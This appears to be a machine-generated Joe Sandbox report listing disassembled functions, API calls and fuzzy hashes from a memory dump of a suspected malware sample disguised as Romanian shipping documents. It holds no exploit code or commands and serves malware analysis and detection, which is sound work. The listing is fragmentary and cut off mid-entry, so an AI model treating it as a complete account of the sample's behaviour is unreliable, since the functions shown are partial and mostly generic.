                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ColorLongWindow
                                                • String ID:
                                                • API String ID: 259745315-0
                                                • Opcode ID: 1460d3b7269301f39880437e07ac6188acb5b2a24da9f0a7f318cbce794589cf
                                                • Instruction ID: a054587de648722c2293f5ffeefd602bd94cefad9432b907dbd45bc223cdeeac
                                                • Opcode Fuzzy Hash: 1460d3b7269301f39880437e07ac6188acb5b2a24da9f0a7f318cbce794589cf
                                                • Instruction Fuzzy Hash: 0741B430100614AFDF215F68E889BF93766AF46734F188252FDA5CA2E6DB308C81D731
                                                Function 00D4690B Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                • String ID:
                                                • API String ID: 136442275-0
                                                • Opcode ID: 7f5b5c5bc6d8d7139b411ed56ecd4840013a94620c4c6f2f5632ec0a900f289d
                                                • Instruction ID: efd484af048f334933d090ca28ae6fd9fb2788d3d34e4ad8389b464a2f232c55
                                                • Opcode Fuzzy Hash: 7f5b5c5bc6d8d7139b411ed56ecd4840013a94620c4c6f2f5632ec0a900f289d
                                                • Instruction Fuzzy Hash: 6F41217684512CAFCF61DB90DC86DDA77BCEB54304F0041A6F659A2051EA70E7E48F71
                                                Function 00D4D76A Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 180COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharLowerBuffW.USER32(00D9DC00,00D9DC00,00D9DC00), ref: 00D4D7CE
                                                • GetDriveTypeW.KERNEL32(?,00DB3A70,00000061), ref: 00D4D898
                                                • _wcscpy.LIBCMT ref: 00D4D8C2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharDriveLowerType_wcscpy
                                                • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                • API String ID: 2820617543-1000479233
                                                • Opcode ID: 2086bed443c8e17334bd112d333b5d13ae155b692a0ec70c83fe60c121abc0da
                                                • Instruction ID: 6df37267e0a29f13e6dc41e960c23d3a6eac6e6a3eacdca3a77c7486cadb9cbe
                                                • Opcode Fuzzy Hash: 2086bed443c8e17334bd112d333b5d13ae155b692a0ec70c83fe60c121abc0da
                                                • Instruction Fuzzy Hash: C1518031108301AFC700EF14DC91AAEB7A6EF94314F24892DF99A572A2DB31DD45CAB2
                                                Function 00D0936C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON
                                                Download Yara Rule
                                                APIs
                                                • __swprintf.LIBCMT ref: 00D093AB
                                                • __itow.LIBCMT ref: 00D093DF
                                                  • Part of subcall function 00D21557: _xtow@16.LIBCMT ref: 00D21578
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __itow__swprintf_xtow@16
                                                • String ID: %.15g$0x%p$False$True
                                                • API String ID: 1502193981-2263619337
                                                • Opcode ID: 08f945c03e49c78351a7634afa34c9fcf69a71ff0d0691fbefc2bbeb0ed00e51
                                                • Instruction ID: e969445c57ee0b98fc06ed3110ded2fd1817ebb9b6e410f510b7d530194f11bb
                                                • Opcode Fuzzy Hash: 08f945c03e49c78351a7634afa34c9fcf69a71ff0d0691fbefc2bbeb0ed00e51
                                                • Instruction Fuzzy Hash: 0A41D171500204EFDB25DB74E952FAAB7E8EB48300F2484AAE58ED71D2EB31D941CB71
                                                Function 00D6A1B6 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00D6A259
                                                • CreateCompatibleDC.GDI32(00000000), ref: 00D6A260
                                                • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00D6A273
                                                • SelectObject.GDI32(00000000,00000000), ref: 00D6A27B
                                                • GetPixel.GDI32(00000000,00000000,00000000), ref: 00D6A286
                                                • DeleteDC.GDI32(00000000), ref: 00D6A28F
                                                • GetWindowLongW.USER32(?,000000EC), ref: 00D6A299
                                                • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00D6A2AD
                                                • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00D6A2B9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                • String ID: static
                                                • API String ID: 2559357485-2160076837
                                                • Opcode ID: 08748752916d3f046fe6d1a503be57b7df4aed7fde3f1fa03e9b82ecd0364506
                                                • Instruction ID: fd1203db42ae26c82397540d93a483f63af18befcef73dcf2e9fae85f9d6c27e
                                                • Opcode Fuzzy Hash: 08748752916d3f046fe6d1a503be57b7df4aed7fde3f1fa03e9b82ecd0364506
                                                • Instruction Fuzzy Hash: 49315631140219ABDB219FA8DC49FEA3B6AFF0E360F150215FA59A61E0C736D811DBB4
                                                Function 00D46F02 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscpy$CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
                                                • String ID: 0.0.0.0
                                                • API String ID: 2620052-3771769585
                                                • Opcode ID: c88b116ad076699ed773469562c86978e9fb073f3ba9d111764bac2e75196e72
                                                • Instruction ID: c840e97475c4035ed43693a1bad79c130fc1bda69541fb2bb1c502925b6575c8
                                                • Opcode Fuzzy Hash: c88b116ad076699ed773469562c86978e9fb073f3ba9d111764bac2e75196e72
                                                • Instruction Fuzzy Hash: 9D11A271504215BFDB24AB60AC4AEDA77B8EF41714F040065F586E61D2EF70EE898BB1
                                                Function 00D2500E Relevance: 16.8, APIs: 11, Instructions: 257COMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D25047
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                • __gmtime64_s.LIBCMT ref: 00D250E0
                                                • __gmtime64_s.LIBCMT ref: 00D25116
                                                • __gmtime64_s.LIBCMT ref: 00D25133
                                                • __allrem.LIBCMT ref: 00D25189
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D251A5
                                                • __allrem.LIBCMT ref: 00D251BC
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D251DA
                                                • __allrem.LIBCMT ref: 00D251F1
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D2520F
                                                • __invoke_watson.LIBCMT ref: 00D25280
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                • String ID:
                                                • API String ID: 384356119-0
                                                • Opcode ID: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                • Instruction ID: 40b1c86183850ff1028d4ef8e3606ff673cd75b303ba490374af64d0bf4e605b
                                                • Opcode Fuzzy Hash: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                • Instruction Fuzzy Hash: DF71B671A01B27ABD7149E69EC42F6A73A8EF24768F184229F510DA6C5E770DD408BF0
                                                Function 00D44DDD Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D44DF8
                                                • GetMenuItemInfoW.USER32(00DC1708,000000FF,00000000,00000030), ref: 00D44E59
                                                • SetMenuItemInfoW.USER32(00DC1708,00000004,00000000,00000030), ref: 00D44E8F
                                                • Sleep.KERNEL32(000001F4), ref: 00D44EA1
                                                • GetMenuItemCount.USER32(?), ref: 00D44EE5
                                                • GetMenuItemID.USER32(?,00000000), ref: 00D44F01
                                                • GetMenuItemID.USER32(?,-00000001), ref: 00D44F2B
                                                • GetMenuItemID.USER32(?,?), ref: 00D44F70
                                                • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00D44FB6
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D44FCA
                                                • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D44FEB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                • String ID:
                                                • API String ID: 4176008265-0
                                                • Opcode ID: 799e31a0e73eaf697782c70083c25304fe8b5e1f1da90a66b22f31be2c81a416
                                                • Instruction ID: 5656a7f109b5ca2d14b0c6ad4f8454ef64f7dad87eff15e65d6a7d90343797df
                                                • Opcode Fuzzy Hash: 799e31a0e73eaf697782c70083c25304fe8b5e1f1da90a66b22f31be2c81a416
                                                • Instruction Fuzzy Hash: 62618D71900259AFDB21CFA4D888EAE7BB9FF41308F18015AF541E7291D731AD89DB31
                                                Function 00D69C16 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00D69C98
                                                • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00D69C9B
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00D69CBF
                                                • _memset.LIBCMT ref: 00D69CD0
                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00D69CE2
                                                • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00D69D5A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$LongWindow_memset
                                                • String ID:
                                                • API String ID: 830647256-0
                                                • Opcode ID: 1090b655b1f74aeb9d919abe25ae35fe5cc820a351e6651b197e59a5f3016e21
                                                • Instruction ID: 11a3c284de933d0fcb480005aef67882f61181b87951e14811ddd56607d32476
                                                • Opcode Fuzzy Hash: 1090b655b1f74aeb9d919abe25ae35fe5cc820a351e6651b197e59a5f3016e21
                                                • Instruction Fuzzy Hash: B9617C75A00219AFDB10DFA4CC81EEEB7B8EF09714F14416AFA04E7292D770A946DB60
                                                Function 00D394E1 Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 00D394FE
                                                • SafeArrayAllocData.OLEAUT32(?), ref: 00D39549
                                                • VariantInit.OLEAUT32(?), ref: 00D3955B
                                                • SafeArrayAccessData.OLEAUT32(?,?), ref: 00D3957B
                                                • VariantCopy.OLEAUT32(?,?), ref: 00D395BE
                                                • SafeArrayUnaccessData.OLEAUT32(?), ref: 00D395D2
                                                • VariantClear.OLEAUT32(?), ref: 00D395E7
                                                • SafeArrayDestroyData.OLEAUT32(?), ref: 00D395F4
                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00D395FD
                                                • VariantClear.OLEAUT32(?), ref: 00D3960F
                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00D3961A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                • String ID:
                                                • API String ID: 2706829360-0
                                                • Opcode ID: ea736cb3bf4dd565f38f0782c9011703703ef7eed4a07fe97d2a71bf3c0d1914
                                                • Instruction ID: 2245f98f9ee3c97bdc917b8e977f04afd92f8d4b23d208572d68038a4f76f2d3
                                                • Opcode Fuzzy Hash: ea736cb3bf4dd565f38f0782c9011703703ef7eed4a07fe97d2a71bf3c0d1914
                                                • Instruction Fuzzy Hash: C0412E71910219AFCB01EFA8D894DDEBB7AFF08354F008065E552E7291DB71EA85CBB1
                                                Function 00D5ADAE Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                • CoInitialize.OLE32 ref: 00D5ADF6
                                                • CoUninitialize.OLE32 ref: 00D5AE01
                                                • CoCreateInstance.OLE32(?,00000000,00000017,00D8D8FC,?), ref: 00D5AE61
                                                • IIDFromString.OLE32(?,?), ref: 00D5AED4
                                                • VariantInit.OLEAUT32(?), ref: 00D5AF6E
                                                • VariantClear.OLEAUT32(?), ref: 00D5AFCF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                • API String ID: 834269672-1287834457
                                                • Opcode ID: 2bafe5b88b5c0be2c53d9437398e3475dee1f4f6488a9f7f1291df5456664287
                                                • Instruction ID: 5ff9b2e192ec041e703d445c7046ff2cc3c0157bdf1a49214c2842e03dfe95ed
                                                • Opcode Fuzzy Hash: 2bafe5b88b5c0be2c53d9437398e3475dee1f4f6488a9f7f1291df5456664287
                                                • Instruction Fuzzy Hash: 56616A702083219FDB10EF58D849B6ABBE8EF48715F14461AFD859B291C770ED48CBB2
                                                Function 00D58107 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • WSAStartup.WSOCK32(00000101,?), ref: 00D58168
                                                • inet_addr.WSOCK32(?,?,?), ref: 00D581AD
                                                • gethostbyname.WSOCK32(?), ref: 00D581B9
                                                • IcmpCreateFile.IPHLPAPI ref: 00D581C7
                                                • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00D58237
                                                • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00D5824D
                                                • IcmpCloseHandle.IPHLPAPI(00000000), ref: 00D582C2
                                                • WSACleanup.WSOCK32 ref: 00D582C8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                • String ID: Ping
                                                • API String ID: 1028309954-2246546115
                                                • Opcode ID: 9e949e7e3ee21d74e55d5651cfb51dcca92cf9795b8b0c7d00f79d9a6bb4aaa7
                                                • Instruction ID: 1994439cb8b696b61b4f845ef0aa27636ed66d2fbe0aee2a5abf784ac387bf33
                                                • Opcode Fuzzy Hash: 9e949e7e3ee21d74e55d5651cfb51dcca92cf9795b8b0c7d00f79d9a6bb4aaa7
                                                • Instruction Fuzzy Hash: 19519031604700AFDB10AF64CC45B2ABBE5EF48311F048919FE9AEB2E1DB30E844DB65
                                                Function 00D69E43 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D69E5B
                                                • CreateMenu.USER32 ref: 00D69E76
                                                • SetMenu.USER32(?,00000000), ref: 00D69E85
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D69F12
                                                • IsMenu.USER32(?), ref: 00D69F28
                                                • CreatePopupMenu.USER32 ref: 00D69F32
                                                • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00D69F63
                                                • DrawMenuBar.USER32 ref: 00D69F71
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                • String ID: 0
                                                • API String ID: 176399719-4108050209
                                                • Opcode ID: 3d1fc24fdb89f34dbccda5c80ecf38486d2187d8162e04eaf34f038b3d24c95c
                                                • Instruction ID: 5dd72b76fb75133faa3837a91c9d05432b0a0741553cc1c43733b26631154047
                                                • Opcode Fuzzy Hash: 3d1fc24fdb89f34dbccda5c80ecf38486d2187d8162e04eaf34f038b3d24c95c
                                                • Instruction Fuzzy Hash: 504179B8A01209AFDB10DFA4D854FAABBB9FF49314F194069F945E73A1D731A910CF60
                                                Function 00D4E389 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00D4E396
                                                • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00D4E40C
                                                • GetLastError.KERNEL32 ref: 00D4E416
                                                • SetErrorMode.KERNEL32(00000000,READY), ref: 00D4E483
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Error$Mode$DiskFreeLastSpace
                                                • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                • API String ID: 4194297153-14809454
                                                • Opcode ID: 261336244d6e97c2cc6f10637c8629c425f314a8ee4be1caf4d1ca569d98dff8
                                                • Instruction ID: 46d13af737263ba9bd86a97f67eef53da4ea55f515dd51c7804fcb833452a2e9
                                                • Opcode Fuzzy Hash: 261336244d6e97c2cc6f10637c8629c425f314a8ee4be1caf4d1ca569d98dff8
                                                • Instruction Fuzzy Hash: 8C314135A00209AFDB01EFA4D985BBDBBB4FF44340F188155E54AE72D1DA70DA05CBB1
                                                Function 00D3B907 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00D3B98C
                                                • GetDlgCtrlID.USER32 ref: 00D3B997
                                                • GetParent.USER32 ref: 00D3B9B3
                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 00D3B9B6
                                                • GetDlgCtrlID.USER32(?), ref: 00D3B9BF
                                                • GetParent.USER32(?), ref: 00D3B9DB
                                                • SendMessageW.USER32(00000000,?,?,00000111), ref: 00D3B9DE
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$CtrlParent
                                                • String ID: ComboBox$ListBox
